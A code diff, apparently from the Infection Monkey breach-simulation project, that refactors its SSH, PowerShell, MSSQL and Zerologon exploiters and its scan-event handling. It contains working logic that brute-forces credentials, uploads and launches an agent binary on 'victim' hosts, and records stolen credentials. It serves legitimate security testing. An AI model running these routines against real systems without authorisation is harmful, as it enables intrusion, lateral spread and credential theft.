|
||||
cursor = conn.cursor()
|
||||
|
||||
return cursor
|
||||
except pymssql.OperationalError as err:
|
||||
logger.info(f"Connection to MSSQL failed: {err}")
|
||||
self.report_login_attempt(False, user, password)
|
||||
# Combo didn't work, hopping to the next one
|
||||
pass
|
||||
error_message = f"Connection to MSSQL failed: {err}"
|
||||
logger.info(error_message)
|
||||
self._report_login_attempt(timestamp, False, user, password, error_message)
|
||||
|
||||
logger.warning(
|
||||
"No user/password combo was able to connect to host: {0}:{1}, "
|
||||
|
@ -139,14 +159,23 @@ class MSSQLExploiter(HostExploiter):
|
|||
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
||||
)
|
||||
|
||||
def _report_login_attempt(
|
||||
self, timestamp: float, success: bool, user, password: str, message: str = ""
|
||||
):
|
||||
self._publish_exploitation_event(timestamp, success, error_message=message)
|
||||
self.report_login_attempt(success, user, password)
|
||||
|
||||
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
|
||||
http_thread = self._start_agent_server(agent_path_on_victim)
|
||||
|
||||
self._run_agent_download_command(agent_path_on_victim)
|
||||
|
||||
MSSQLExploiter._stop_agent_server(http_thread)
|
||||
if http_thread:
|
||||
MSSQLExploiter._stop_agent_server(http_thread)
|
||||
|
||||
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
|
||||
def _start_agent_server(
|
||||
self, agent_path_on_victim: PureWindowsPath
|
||||
) -> Optional[LockedHTTPServer]:
|
||||
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, str(agent_path_on_victim), self.agent_binary_repository
|
||||
)
|
||||
|
@ -179,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
|
||||
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
|
||||
agent_args = build_monkey_commandline(
|
||||
self.servers, self.current_depth + 1, agent_path_on_victim
|
||||
self.servers, self.current_depth + 1, str(agent_path_on_victim)
|
||||
)
|
||||
|
||||
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
|
||||
|
|
|
@ -1,8 +1,14 @@
|
|||
import logging
|
||||
from pathlib import Path, PurePath
|
||||
from time import time
|
||||
from typing import List, Optional
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.tags import (
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
|
||||
from infection_monkey.exploit.powershell_utils.credentials import (
|
||||
|
@ -21,6 +27,7 @@ from infection_monkey.utils.environment import is_windows_os
|
|||
from infection_monkey.utils.threading import interruptible_iter
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
POWERSHELL_EXPLOITER_TAG = "powershell-exploiter"
|
||||
|
||||
|
||||
class RemoteAgentCopyError(Exception):
|
||||
|
@ -34,6 +41,17 @@ class RemoteAgentExecutionError(Exception):
|
|||
class PowerShellExploiter(HostExploiter):
|
||||
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
|
||||
|
||||
_EXPLOITER_TAGS = (
|
||||
POWERSHELL_EXPLOITER_TAG,
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
_PROPAGATION_TAGS = (
|
||||
POWERSHELL_EXPLOITER_TAG,
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self._client = None
|
||||
|
@ -68,12 +86,21 @@ class PowerShellExploiter(HostExploiter):
|
|||
)
|
||||
return self.exploit_result
|
||||
|
||||
execute_agent_timestamp = time()
|
||||
try:
|
||||
self._execute_monkey_agent_on_victim()
|
||||
self.exploit_result.propagation_success = True
|
||||
except Exception as ex:
|
||||
logger.error(f"Failed to propagate to the remote host: {ex}")
|
||||
self.exploit_result.error_message = str(ex)
|
||||
except Exception as err:
|
||||
self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}"
|
||||
self._publish_propagation_event(
|
||||
time=execute_agent_timestamp,
|
||||
success=False,
|
||||
error_message=self.exploit_result.error_message,
|
||||
)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
self.exploit_result.propagation_success = True
|
||||
self._publish_propagation_event(time=execute_agent_timestamp, success=True)
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
|
@ -94,21 +121,27 @@ class PowerShellExploiter(HostExploiter):
|
|||
|
||||
try:
|
||||
client = PowerShellClient(self.host.ip_addr, creds, opts)
|
||||
connect_timestamp = time()
|
||||
client.connect()
|
||||
logger.info(
|
||||
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{creds.username}, Secret Type: {creds.secret_type.name}"
|
||||
)
|
||||
|
||||
self._publish_exploitation_event(time=connect_timestamp, success=True)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self._report_login_attempt(True, creds)
|
||||
|
||||
return client
|
||||
except Exception as ex:
|
||||
logger.debug(
|
||||
error_message = (
|
||||
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
|
||||
)
|
||||
logger.debug(error_message)
|
||||
self._publish_exploitation_event(
|
||||
time=connect_timestamp, success=False, error_message=error_message
|
||||
)
|
||||
self._report_login_attempt(False, creds)
|
||||
|
||||
return None
|
||||
|
|
|
@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]:
|
|||
if credentials.secret_type == SecretType.CACHED:
|
||||
return None
|
||||
|
||||
plaintext_secret = get_plaintext(credentials.secret)
|
||||
plaintext_secret = str(get_plaintext(credentials.secret))
|
||||
|
||||
if credentials.secret_type == SecretType.PASSWORD:
|
||||
return plaintext_secret
|
||||
|
|
|
@ -1,15 +1,27 @@
|
|||
import io
|
||||
import logging
|
||||
from ipaddress import IPv4Address
|
||||
from pathlib import PurePath
|
||||
from time import time
|
||||
from typing import Optional
|
||||
|
||||
import paramiko
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.agent_events import TCPScanEvent
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
from common.credentials import get_plaintext
|
||||
from common.tags import (
|
||||
T1021_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1222_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.types import PortStatus
|
||||
from common.utils import Timer
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from infection_monkey.exploit import RetrievalError
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
|
@ -19,6 +31,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.ids import get_agent_id
|
||||
from infection_monkey.utils.threading import interruptible_iter
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -30,11 +43,15 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
|
|||
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
||||
|
||||
TRANSFER_UPDATE_RATE = 15
|
||||
SSH_EXPLOITER_TAG = "ssh-exploiter"
|
||||
|
||||
|
||||
class SSHExploiter(HostExploiter):
|
||||
_EXPLOITED_SERVICE = "SSH"
|
||||
|
||||
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
|
||||
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
|
||||
|
||||
def __init__(self):
|
||||
super(SSHExploiter, self).__init__()
|
||||
|
||||
|
@ -46,7 +63,7 @@ class SSHExploiter(HostExploiter):
|
|||
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
timer.reset()
|
||||
|
||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
|
||||
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||
|
@ -70,6 +87,8 @@ class SSHExploiter(HostExploiter):
|
|||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||
logger.error("Failed reading ssh key")
|
||||
|
||||
timestamp = time()
|
||||
try:
|
||||
ssh.connect(
|
||||
self.host.ip_addr,
|
||||
|
@ -86,20 +105,30 @@ class SSHExploiter(HostExploiter):
|
|||
)
|
||||
self.add_vuln_port(port)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self._publish_exploitation_event(timestamp, True)
|
||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||
return ssh
|
||||
except paramiko.AuthenticationException as err:
|
||||
ssh.close()
|
||||
logger.info(
|
||||
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
|
||||
error_message = (
|
||||
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
|
||||
)
|
||||
logger.info(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
continue
|
||||
except Exception as err:
|
||||
logger.error(f"Unknown error while attempting to login with ssh key: {err}")
|
||||
error_message = (
|
||||
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
|
||||
f"{err}"
|
||||
)
|
||||
logger.error(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
|
||||
raise FailedExploitationError
|
||||
|
||||
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
||||
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
|
||||
user_password_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_password_list"],
|
||||
|
@ -116,6 +145,8 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||
|
||||
timestamp = time()
|
||||
try:
|
||||
ssh.connect(
|
||||
self.host.ip_addr,
|
||||
|
@ -131,108 +162,79 @@ class SSHExploiter(HostExploiter):
|
|||
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||
self.add_vuln_port(port)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self._publish_exploitation_event(timestamp, True)
|
||||
self.report_login_attempt(True, user, current_password)
|
||||
return ssh
|
||||
|
||||
except paramiko.AuthenticationException as err:
|
||||
logger.debug(
|
||||
"Failed logging into victim %r with user" " %s: (%s)",
|
||||
self.host,
|
||||
user,
|
||||
err,
|
||||
)
|
||||
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
|
||||
logger.debug(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
ssh.close()
|
||||
continue
|
||||
except Exception as err:
|
||||
logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
|
||||
error_message = (
|
||||
f"Unexpected error while attempting to login to {self.host} with password: "
|
||||
f"{err}"
|
||||
)
|
||||
logger.error(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
|
||||
raise FailedExploitationError
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
port = SSH_PORT
|
||||
port = self._get_ssh_port()
|
||||
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in list(self.host.services.items()):
|
||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||
port = int(servkey.replace("tcp-", ""))
|
||||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||
if not is_open:
|
||||
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
|
||||
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
||||
|
||||
logger.info(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
ssh = self._exploit(port)
|
||||
except FailedExploitationError as err:
|
||||
self.exploit_result.error_message = str(err)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
self._propagate(ssh)
|
||||
except (FailedExploitationError, RuntimeError) as err:
|
||||
self.exploit_result.error_message = str(err)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
finally:
|
||||
ssh.close()
|
||||
return self.exploit_result
|
||||
|
||||
def _exploit(self, port: int) -> paramiko.SSHClient:
|
||||
try:
|
||||
ssh = self.exploit_with_ssh_keys(port)
|
||||
except FailedExploitationError:
|
||||
try:
|
||||
ssh = self.exploit_with_login_creds(port)
|
||||
except FailedExploitationError:
|
||||
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
|
||||
|
||||
return ssh
|
||||
|
||||
def _propagate(self, ssh: paramiko.SSHClient):
|
||||
agent_binary_file_object = self._get_agent_binary(ssh)
|
||||
if agent_binary_file_object is None:
|
||||
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
|
||||
if not self.host.os.get("type"):
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.exploit_result.os = OperatingSystem.LINUX
|
||||
self.host.os["type"] = OperatingSystem.LINUX
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
||||
if not uname_os:
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running uname os command on victim {self.host}: ({exc})"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
|
||||
self.exploit_result.os
|
||||
)
|
||||
|
||||
if not agent_binary_file_object:
|
||||
self.exploit_result.error_message = (
|
||||
f"Can't find suitable monkey executable for host {self.host}"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
raise RuntimeError("Propagation was interrupted")
|
||||
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
|
||||
try:
|
||||
with ssh.open_sftp() as ftp:
|
||||
ftp.putfo(
|
||||
agent_binary_file_object,
|
||||
str(monkey_path_on_victim),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
||||
|
||||
status = ScanStatus.USED
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error uploading file into victim {self.host}: ({exc})"
|
||||
)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
status = ScanStatus.SCANNED
|
||||
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
|
||||
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1105Telem(
|
||||
|
@ -242,13 +244,15 @@ class SSHExploiter(HostExploiter):
|
|||
monkey_path_on_victim,
|
||||
)
|
||||
)
|
||||
|
||||
if status == ScanStatus.SCANNED:
|
||||
return self.exploit_result
|
||||
raise FailedExploitationError(self.exploit_result.error_message)
|
||||
|
||||
try:
|
||||
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
|
||||
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
|
||||
cmdline += " > /dev/null 2>&1 &"
|
||||
timestamp = time()
|
||||
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
|
||||
|
||||
logger.info(
|
||||
|
@ -259,18 +263,87 @@ class SSHExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
self.exploit_result.propagation_success = True
|
||||
|
||||
ssh.close()
|
||||
self._publish_propagation_event(timestamp, True)
|
||||
self.add_executed_cmd(cmdline)
|
||||
return self.exploit_result
|
||||
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running monkey on victim {self.host}: ({exc})"
|
||||
)
|
||||
error_message = f"Error running monkey on victim {self.host}: ({exc})"
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
raise FailedExploitationError(error_message)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
|
||||
is_open, _ = check_tcp_port(ip, port)
|
||||
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
|
||||
self.agent_event_queue.publish(
|
||||
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
|
||||
)
|
||||
|
||||
return is_open
|
||||
|
||||
def _get_ssh_port(self) -> int:
|
||||
port = SSH_PORT
|
||||
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in list(self.host.services.items()):
|
||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||
port = int(servkey.replace("tcp-", ""))
|
||||
|
||||
return port
|
||||
|
||||
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.exploit_result.os = OperatingSystem.LINUX
|
||||
self.host.os["type"] = OperatingSystem.LINUX
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
||||
if not uname_os:
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return False
|
||||
except Exception as exc:
|
||||
logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
|
||||
return False
|
||||
return True
|
||||
|
||||
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
|
||||
if not self.host.os.get("type") and not self._get_victim_os(ssh):
|
||||
return None
|
||||
|
||||
try:
|
||||
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
|
||||
self.exploit_result.os
|
||||
)
|
||||
except RetrievalError:
|
||||
return None
|
||||
|
||||
return agent_binary_file_object
|
||||
|
||||
def _upload_agent_binary(
|
||||
self,
|
||||
ssh: paramiko.SSHClient,
|
||||
agent_binary_file_object: io.BytesIO,
|
||||
monkey_path_on_victim: PurePath,
|
||||
) -> ScanStatus:
|
||||
try:
|
||||
timestamp = time()
|
||||
with ssh.open_sftp() as ftp:
|
||||
ftp.putfo(
|
||||
agent_binary_file_object,
|
||||
str(monkey_path_on_victim),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
||||
|
||||
return ScanStatus.USED
|
||||
except Exception as exc:
|
||||
error_message = f"Error uploading file into victim {self.host}: ({exc})"
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
self.exploit_result.error_message = error_message
|
||||
return ScanStatus.SCANNED
|
||||
|
||||
def _set_executable_bit_on_agent_binary(
|
||||
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
|
||||
|
|
|
@ -3,6 +3,7 @@ import urllib.error
|
|||
import urllib.parse
|
||||
import urllib.request
|
||||
from threading import Lock
|
||||
from typing import Optional, Tuple
|
||||
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
|
@ -28,7 +29,7 @@ class HTTPTools(object):
|
|||
@staticmethod
|
||||
def create_locked_transfer(
|
||||
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
|
||||
) -> LockedHTTPServer:
|
||||
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
|
|
|
@ -18,6 +18,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
|||
from common.agent_events import CredentialsStolenEvent
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from common.credentials import Credentials, LMHash, NTHash, Username
|
||||
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||
|
@ -32,9 +33,6 @@ from infection_monkey.utils.threading import interruptible_iter
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter"
|
||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
|
||||
|
||||
|
||||
ZEROLOGON_EVENT_TAGS = frozenset(
|
||||
{
|
||||
|
@ -315,7 +313,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
tags=ZEROLOGON_EVENT_TAGS,
|
||||
stolen_credentials=extracted_credentials,
|
||||
)
|
||||
self.event_queue.publish(credentials_stolen_event)
|
||||
self.agent_event_queue.publish(credentials_stolen_event)
|
||||
|
||||
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
|
||||
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
||||
|
|
|
@ -1,15 +1,14 @@
|
|||
from dataclasses import dataclass
|
||||
from typing import Dict
|
||||
|
||||
from common.types import PingScanData
|
||||
from common.types import NetworkPort, PingScanData
|
||||
from infection_monkey.i_puppet import FingerprintData, PortScanData
|
||||
|
||||
Port = int
|
||||
FingerprinterName = str
|
||||
|
||||
|
||||
@dataclass
|
||||
class IPScanResults:
|
||||
ping_scan_data: PingScanData
|
||||
port_scan_data: Dict[Port, PortScanData]
|
||||
port_scan_data: Dict[NetworkPort, PortScanData]
|
||||
fingerprint_data: Dict[FingerprinterName, FingerprintData]
|
||||
|
|
|
@ -10,7 +10,7 @@ from common.agent_configuration import (
|
|||
PropagationConfiguration,
|
||||
ScanTargetConfiguration,
|
||||
)
|
||||
from common.types import PingScanData, PortStatus
|
||||
from common.types import NetworkPort, PingScanData, PortStatus
|
||||
from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData
|
||||
from infection_monkey.model import VictimHost, VictimHostFactory
|
||||
from infection_monkey.network import NetworkAddress
|
||||
|
@ -21,7 +21,7 @@ from infection_monkey.telemetry.scan_telem import ScanTelem
|
|||
from infection_monkey.utils.threading import create_daemon_thread
|
||||
|
||||
from . import Exploiter, IPScanner, IPScanResults
|
||||
from .ip_scan_results import FingerprinterName, Port
|
||||
from .ip_scan_results import FingerprinterName
|
||||
|
||||
logger = logging.getLogger()
|
||||
|
||||
|
@ -146,7 +146,7 @@ class Propagator:
|
|||
|
||||
@staticmethod
|
||||
def _process_tcp_scan_results(
|
||||
victim_host: VictimHost, port_scan_data: Mapping[Port, PortScanData]
|
||||
victim_host: VictimHost, port_scan_data: Mapping[NetworkPort, PortScanData]
|
||||
):
|
||||
for psd in filter(
|
||||
lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values()
|
||||
|
|
|
@ -3,6 +3,8 @@ import select
|
|||
import socket
|
||||
import struct
|
||||
import sys
|
||||
from ipaddress import IPv4Address
|
||||
from typing import Optional
|
||||
|
||||
from common.common_consts.timeouts import CONNECTION_TIMEOUT
|
||||
from infection_monkey.network.info import get_routes
|
||||
|
@ -13,7 +15,7 @@ BANNER_READ = 1024
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||
"""
|
||||
Checks if a given TCP port is open
|
||||
:param ip: Target IP
|
||||
|
@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
sock.settimeout(timeout)
|
||||
|
||||
try:
|
||||
sock.connect((ip, port))
|
||||
sock.connect((str(ip), port))
|
||||
except socket.timeout:
|
||||
return False, None
|
||||
except socket.error as exc:
|
||||
|
@ -51,7 +53,7 @@ def tcp_port_to_service(port):
|
|||
return "tcp-" + str(port)
|
||||
|
||||
|
||||
def get_interface_to_target(dst: str) -> str:
|
||||
def get_interface_to_target(dst: str) -> Optional[str]:
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
from typing import List, Optional
|
||||
from pathlib import PurePath
|
||||
from typing import List, Optional, Union
|
||||
|
||||
from infection_monkey.config import GUID
|
||||
from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64
|
||||
|
@ -9,7 +10,9 @@ DROPPER_TARGET_PATH_LINUX = AGENT_BINARY_PATH_LINUX
|
|||
DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64
|
||||
|
||||
|
||||
def build_monkey_commandline(servers: List[str], depth: int, location: Optional[str] = None) -> str:
|
||||
def build_monkey_commandline(
|
||||
servers: List[str], depth: int, location: Union[str, PurePath, None] = None
|
||||
) -> str:
|
||||
|
||||
return " " + " ".join(
|
||||
build_monkey_commandline_explicitly(
|
||||
|
@ -25,7 +28,7 @@ def build_monkey_commandline_explicitly(
|
|||
parent: Optional[str] = None,
|
||||
servers: Optional[List[str]] = None,
|
||||
depth: Optional[int] = None,
|
||||
location: Optional[str] = None,
|
||||
location: Union[str, PurePath, None] = None,
|
||||
) -> List[str]:
|
||||
cmdline = []
|
||||
|
||||
|
|
|
@ -5,8 +5,8 @@ from typing import Union
|
|||
from typing_extensions import TypeAlias
|
||||
|
||||
from common.agent_events import PingScanEvent, TCPScanEvent
|
||||
from common.types import PortStatus
|
||||
from monkey_island.cc.models import CommunicationType, Machine
|
||||
from common.types import PortStatus, SocketAddress
|
||||
from monkey_island.cc.models import CommunicationType, Machine, Node
|
||||
from monkey_island.cc.repository import (
|
||||
IAgentRepository,
|
||||
IMachineRepository,
|
||||
|
@ -56,8 +56,10 @@ class ScanEventHandler:
|
|||
|
||||
try:
|
||||
target_machine = self._get_target_machine(event)
|
||||
source_node = self._get_source_node(event)
|
||||
|
||||
self._update_nodes(target_machine, event)
|
||||
self._update_tcp_connections(source_node, target_machine, event)
|
||||
except (RetrievalError, StorageError, UnknownRecordError):
|
||||
logger.exception("Unable to process tcp scan data")
|
||||
|
||||
|
@ -73,6 +75,14 @@ class ScanEventHandler:
|
|||
self._machine_repository.upsert_machine(machine)
|
||||
return machine
|
||||
|
||||
def _get_source_node(self, event: ScanEvent) -> Node:
|
||||
machine = self._get_source_machine(event)
|
||||
return self._node_repository.get_node_by_machine_id(machine.id)
|
||||
|
||||
def _get_source_machine(self, event: ScanEvent) -> Machine:
|
||||
agent = self._agent_repository.get_agent_by_id(event.source)
|
||||
return self._machine_repository.get_machine_by_id(agent.machine_id)
|
||||
|
||||
def _update_target_machine_os(self, machine: Machine, event: PingScanEvent):
|
||||
if event.os is not None and machine.operating_system is None:
|
||||
machine.operating_system = event.os
|
||||
|
@ -85,6 +95,14 @@ class ScanEventHandler:
|
|||
src_machine.id, target_machine.id, CommunicationType.SCANNED
|
||||
)
|
||||
|
||||
def _get_source_machine(self, event: ScanEvent) -> Machine:
|
||||
agent = self._agent_repository.get_agent_by_id(event.source)
|
||||
return self._machine_repository.get_machine_by_id(agent.machine_id)
|
||||
def _update_tcp_connections(self, src_node: Node, target_machine: Machine, event: TCPScanEvent):
|
||||
tcp_connections = set()
|
||||
open_ports = (port for port, status in event.ports.items() if status == PortStatus.OPEN)
|
||||
for open_port in open_ports:
|
||||
socket_address = SocketAddress(ip=event.target, port=open_port)
|
||||
tcp_connections.add(socket_address)
|
||||
|
||||
if tcp_connections:
|
||||
self._node_repository.upsert_tcp_connections(
|
||||
